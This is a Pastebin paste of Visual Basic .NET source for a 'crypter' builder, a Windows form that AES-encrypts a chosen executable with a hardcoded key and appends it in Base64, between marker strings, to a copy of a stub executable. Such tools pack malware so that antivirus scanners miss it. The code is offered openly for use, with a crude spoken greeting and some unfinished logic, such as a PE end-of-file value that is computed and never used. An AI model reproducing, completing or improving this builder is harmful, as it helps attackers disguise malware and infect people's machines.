Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports System.Text
- Public Class Form1
- Dim drag As Boolean
- Dim mousex As Integer
- Dim mousey As Integer
- Const lolz = "b!?99bO+KI^I8M.23[_lGUTa,6#iRJ$<x:XQL')d;Bh3n[V}xWe(v&adu3q8^t5"
- Dim ofd1, ofd2, ofd3 As New OpenFileDialog
- Dim sfd1 As New SaveFileDialog
- Dim cb1, cb2 As Boolean
- Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
- Public Shared Function Encrypt(ByVal plain As String, ByVal key As String) As String
- Return Convert.ToBase64String(Encrypt(UnicodeEncoding.UTF8.GetBytes(plain), UnicodeEncoding.UTF8.GetBytes(key)))
- End Function
- Public Shared Function Decrypt(ByVal plain As String, ByVal key As String) As String
- Return UnicodeEncoding.UTF8.GetString(Decrypt(Convert.FromBase64String(plain), UnicodeEncoding.UTF8.GetBytes(key)))
- End Function
- Public Shared Function Encrypt(ByVal plain As Byte(), ByVal key As Byte()) As Byte()
- Dim wholeState As Byte() = DirectCast(plain.Clone(), Byte())
- For round As Integer = 0 To 4
- For i As Integer = 0 To wholeState.Length - 1
- wholeState(i) = CByte(wholeState(i) Xor key(i Mod (key.Length)))
- For k As Integer = 0 To key.Length - 1
- wholeState(i) = CByte(wholeState(i) Xor ((((key(k) << round) Xor k) + i)) And 255)
- Next
- Next
- Next
- Return wholeState
- End Function
- Public Shared Function Decrypt(ByVal plain As Byte(), ByVal key As Byte()) As Byte()
- Dim wholeState As Byte() = DirectCast(plain.Clone(), Byte())
- For round As Integer = 4 To 0 Step -1
- For i As Integer = 0 To wholeState.Length - 1
- For k As Integer = 0 To key.Length - 1
- wholeState(i) = CByte(wholeState(i) Xor ((((key(k) << round) Xor k) + i)) And 255)
- Next
- wholeState(i) = CByte(wholeState(i) Xor key(i Mod (key.Length)))
- Next
- Next
- Return wholeState
- End Function
- Function Secure(ByVal data As Byte()) As Byte()
- Using SA As New System.Security.Cryptography.RijndaelManaged
- SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
- SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
- Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
- End Using
- End Function
- Function Unsecure(ByVal data As Byte()) As Byte()
- Using SA As New System.Security.Cryptography.RijndaelManaged
- SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
- SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
- Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
- End Using
- End Function
- Function GetEOF(ByVal Path As String) As Long
- Dim ByteArray() As Byte
- Dim PE As Long, NumberOfSections As Integer
- Dim BeginLastSection As Long
- Dim RawSize As Long, RawOffset As Long
- FileOpen(10, Path, OpenMode.Binary, OpenAccess.Default)
- ReDim ByteArray(LOF(10) - 1)
- FileGet(10, ByteArray)
- FileClose(10)
- Call CopyMemory(PE, ByteArray(&H3C), 4)
- Call CopyMemory(NumberOfSections, ByteArray(PE + &H6), 2)
- BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
- Call CopyMemory(RawSize, ByteArray(BeginLastSection + 16), 4)
- Call CopyMemory(RawOffset, ByteArray(BeginLastSection + 20), 4)
- GetEOF = RawSize + RawOffset
- End Function
- Private Sub LabelX2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LabelX2.Click
- Me.WindowState = FormWindowState.Minimized
- End Sub
- Private Sub LabelX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LabelX1.Click
- Application.Exit()
- End Sub
- Private Sub Form1_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseDown
- drag = True 'Sets the variable drag to true.
- mousex = Windows.Forms.Cursor.Position.X - Me.Left 'Sets variable mousex
- mousey = Windows.Forms.Cursor.Position.Y - Me.Top 'Sets variable mousey
- End Sub
- Private Sub Form1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseMove
- If drag Then
- Me.Top = Windows.Forms.Cursor.Position.Y - mousey
- Me.Left = Windows.Forms.Cursor.Position.X - mousex
- End If
- End Sub
- Private Sub Form1_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseUp
- drag = False
- End Sub
- Private Sub ReflectionImage1_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
- drag = True 'Sets the variable drag to true.
- mousex = Windows.Forms.Cursor.Position.X - Me.Left 'Sets variable mousex
- mousey = Windows.Forms.Cursor.Position.Y - Me.Top 'Sets variable mousey
- End Sub
- Private Sub ReflectionImage1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
- If drag Then
- Me.Top = Windows.Forms.Cursor.Position.Y - mousey
- Me.Left = Windows.Forms.Cursor.Position.X - mousex
- End If
- End Sub
- Private Sub ReflectionImage1_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
- drag = False
- End Sub
- Private Sub ButtonX3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX3.Click
- sfd1.DefaultExt = "exe"
- sfd1.Filter = "Executable File (*.exe)|*.exe"
- If sfd1.ShowDialog = Windows.Forms.DialogResult.OK Then
- End If
- Dim file1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBoxX1.Text))
- If CheckBoxX4.Checked = True Then
- cb1 = True
- Else : cb1 = False
- End If
- If File.Exists(sfd1.FileName) Then
- My.Computer.FileSystem.DeleteFile(sfd1.FileName)
- End If
- IO.File.Copy(TextBoxX2.Text, sfd1.FileName)
- IO.File.AppendAllText(sfd1.FileName, lolz & Convert.ToBase64String(file1) & lolz & cb1 & lolz)
- If CheckBoxX1.Checked = True Then
- GetEOF(sfd1.FileName)
- Else
- End If
- MsgBox("File successfully Crypted", MsgBoxStyle.Information)
- End Sub
- Public Function Key() As Object
- Const fuck1 As String = "abcdefghijklmnopqrstuvwxyz"
- Const fuck2 As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
- Const romill As String = "1234567890"
- Dim totalequivalent As String
- Dim i As Short
- totalequivalent = fuck1 & fuck2 & romill
- For i = 1 To CInt("25")
- Key = Key & Mid(totalequivalent, Int((Rnd() * Len(totalequivalent)) + 1), 1)
- Next i
- End Function
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- CreateObject("SAPI.SpVoice").Speak("Welcome to romill crypter you bitch")
- TextBoxX3.Text = Key()
- End Sub
- Private Sub ButtonX2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX2.Click
- Dim s As New OpenFileDialog
- s.ShowDialog()
- TextBoxX2.Text = s.FileName
- End Sub
- Private Sub ButtonX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX1.Click
- Dim s As New OpenFileDialog
- s.ShowDialog()
- TextBoxX1.Text = s.FileName
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement